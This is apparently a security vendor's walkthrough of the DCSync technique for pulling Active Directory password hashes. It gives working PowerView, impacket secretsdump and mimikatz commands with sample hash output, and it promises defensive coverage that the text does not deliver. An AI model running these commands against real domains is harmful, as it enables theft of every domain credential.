DCSync: Extracting Domain Credentials by Impersonating a Domain Controller

DCSync is one of the most elegant and dangerous techniques in the Active Directory attack playbook. It lets an attacker who has obtained the right permissions extract the password hash of any account in the domain — including the all-important krbtgt account — without ever logging on to a Domain Controller, dropping a tool on it, or triggering the kind of process-level telemetry that endpoint detection watches for on a DC.

Instead of attacking the DC, DCSync pretends to be one. This walkthrough explains exactly how that works, shows the real commands, and — most importantly — covers how a defender detects and prevents it.

Prerequisites: what an attacker needs first

DCSync is not an entry point — it is a privilege-escalation and credential-access technique used after initial compromise. To run it, the attacker needs an account that holds these two extended rights on the domain object:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All

By default, these rights are held by members of Domain Admins, Enterprise Admins, and Administrators, as well as Domain Controllers themselves. The danger is that these rights can also be delegated to seemingly unprivileged accounts — and that misconfiguration is exactly what an attacker hunts for. An account that isn't a Domain Admin but happens to hold replication rights is a silent path to total domain compromise.

Finding accounts with replication rights

Using PowerView on a compromised host, an attacker enumerates who holds these rights across the domain:

# Load PowerView
Import-Module .\PowerView.ps1

# Find principals with replication rights on the domain object
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs |
  ? { ($_.ObjectAceType -match 'Replication-Get') } |
  Select SecurityIdentifier, ObjectAceType |
  Format-Table -Auto

If this returns a user account that should not have those rights, that account is a DCSync-capable foothold.

Running DCSync with impacket

The most common way to perform DCSync from a Linux attack box is secretsdump.py from the impacket suite. It implements the replication request natively — no Windows host needed.

Assuming the attacker has compromised credentials for an account with replication rights (here, a user called svc-replication), the command to pull the hash of a single high-value target — the built-in Administrator — looks like this:

secretsdump.py -just-dc-user Administrator \
  corp.local/svc-replication:'P@ssw0rd123'@10.10.10.5

To replicate the entire domain — every user hash at once — the attacker drops the -just-dc-user filter:

# -just-dc pulls all NTLM hashes and Kerberos keys from the DC
secretsdump.py -just-dc \
  corp.local/svc-replication:'P@ssw0rd123'@10.10.10.5

The output includes the NTLM hash for every account. The single most valuable line is the krbtgt hash:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b...:a9fd...e31c:::
krbtgt:502:aad3b...:b512...7f0a:::
svc-sql:1104:aad3b...:c1e9...44da:::
...

Running DCSync with mimikatz

On a Windows host, the classic tool is mimikatz. Its lsadump::dcsync module performs the same replication request:

# Pull the krbtgt account hash
lsadump::dcsync /domain:corp.local /user:krbtgt

The output gives the NTLM hash and the AES keys, which are what you would feed into a Golden Ticket forge. Because mimikatz runs in the context of the current user, it uses the current session's replication rights rather than needing a password on the command line.

Why DCSync is so hard to catch

Three properties make DCSync stealthy compared with, say, dumping the NTDS.dit database directly:

• No code runs on the DC. The attacker sends a legitimate replication request from their own machine. There is no malicious process, no dropped file, no service creation on the Domain Controller for EDR to flag.
• It uses a legitimate protocol. MS-DRSR replication is normal, constant traffic between DCs. A single extra replication request blends into that noise unless you are watching specifically for it.
• It requires no reboot, no lsass access on the DC, no volume shadow copy. Older credential-theft techniques left far louder footprints.

How GHOST RED tests for this

DCSync exposure is one of the Active Directory attack paths GHOST RED evaluates during its enumeration and privilege-escalation phases. Rather than executing the attack, the platform identifies the precondition — accounts holding replication rights that should not have them — and maps the resulting attack path to MITRE ATT&CK technique T1003.006 (OS Credential Dumping: DCSync), so blue teams see the exposure and the exact detection rule that closes it before a real attacker finds the same path.